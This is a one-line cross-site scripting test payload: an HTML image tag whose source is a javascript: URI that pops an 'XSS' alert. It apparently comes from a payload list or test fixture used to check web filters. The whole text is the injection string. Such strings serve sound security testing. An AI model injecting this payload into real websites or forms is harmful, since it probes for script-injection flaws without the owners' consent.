<IMG SRC="javascript:alert('XSS')">